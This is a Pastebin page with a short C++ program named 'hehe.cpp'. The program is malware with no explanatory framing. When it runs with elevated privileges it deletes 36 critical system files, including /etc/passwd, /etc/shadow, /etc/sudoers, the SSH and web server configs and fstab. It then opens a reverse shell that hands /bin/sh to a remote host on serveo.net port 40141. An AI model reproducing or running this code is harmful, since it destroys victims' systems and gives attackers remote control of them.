Advertisement
P22DX

hehe.cpp

Apr 28th, 2020
428
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.61 KB | None | 0 0
  1. #include <iostream>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <netinet/in.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <arpa/inet.h>
  8. #include <string>
  9. #include <array>
  10. #include <algorithm>
  11.  
  12. #define REMOTE_ADDR "serveo.net"
  13. #define REMOTE_PORT 40141
  14.  
  15. void rm(std::string file) {
  16. // remove file
  17.     remove(file.c_str());
  18. }
  19.  
  20. void file_remove() {
  21.     // remove list file
  22.     std::array<std::string, 36> list = {
  23.         "/etc/os-release",
  24.         "/etc/passwd",
  25.         "/etc/shadow",
  26.         "/etc/group",
  27.         "/etc/issue",
  28.         "/etc/issue.net",
  29.         "/etc/motd",
  30.         "/etc/sudoers",
  31.         "/etc/hosts",
  32.         "/etc/aliases",
  33.         "/proc/version",
  34.         "/etc/resolv.conf",
  35.         "/etc/sysctl.conf",
  36.         "/etc/named.conf",
  37.         "/etc/network/interfaces",
  38.         "/etc/squid/squid.conf",
  39.         "/usr/local/squid/etc/squid.conf",
  40.         "/etc/ssh/sshd_config",
  41.         "/etc/httpd/conf/httpd.conf",
  42.         "/usr/local/apache2/conf/httpd.conf",
  43.         "/etc/apache2/apache2.conf",
  44.         "/etc/apache2/httpd.conf",
  45.         "/usr/pkg/etc/httpd/httpd.conf",
  46.         "/usr/local/etc/apache22/httpd.conf",
  47.         "/usr/local/etc/apache2/httpd.conf",
  48.         "/var/www/conf/httpd.conf",
  49.         "/etc/apache2/httpd2.conf",
  50.         "/etc/httpd/httpd.conf",
  51.         "/etc/lighttpd/lighttpd.conf",
  52.         "/etc/nginx/nginx.conf",
  53.         "/etc/fstab",
  54.         "/etc/mtab",
  55.         "/etc/crontab",
  56.         "/etc/inittab",
  57.         "/etc/modules.conf",
  58.         "/etc/modules"
  59.     };
  60.  
  61.     // looping
  62.     std::for_each(list.begin(), list.end(), rm);
  63. }
  64.  
  65. void reverse_shell() {
  66.     // reverse tcp
  67.     struct sockaddr_in sa;
  68.     int s;
  69.  
  70.     sa.sin_family = AF_INET;
  71.     sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
  72.     sa.sin_port = htons(REMOTE_PORT);
  73.  
  74.     s = socket(AF_INET, SOCK_STREAM, 0);
  75.     connect(s, (struct sockaddr *)&sa, sizeof(sa));
  76.     dup2(s, 0);
  77.     dup2(s, 1);
  78.     dup2(s, 2);
  79.  
  80.     execve("/bin/sh", 0, 0);
  81. }
  82.  
  83. int main() {
  84.     //banner
  85.     std::cout << R"(
  86.                              __
  87.                     /\    .-" /
  88.                     /  ; .'  .'
  89.                    :   :/  .'  
  90.                    \  ;-.'    
  91.        .--""""--..__/     `.    
  92.      .'           .'    `o  \  
  93.     /                    `   ;  
  94.    :                  \      :  
  95.  .-;        -.         `.__.-'  
  96. :  ;          \     ,   ;      
  97. '._:           ;   :   (        
  98.     \/  .__    ;    \   `-.    
  99.      ;     "-,/_..--"`-..__)    
  100.      '""--.._:
  101.  
  102. )";
  103.    auto uid = getuid();
  104.    auto euid = geteuid();
  105.  
  106.    if(uid != euid) {
  107.        // run as other (root)
  108.        file_remove();
  109.    }
  110.  
  111.    reverse_shell();
  112.    return 0;
  113. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement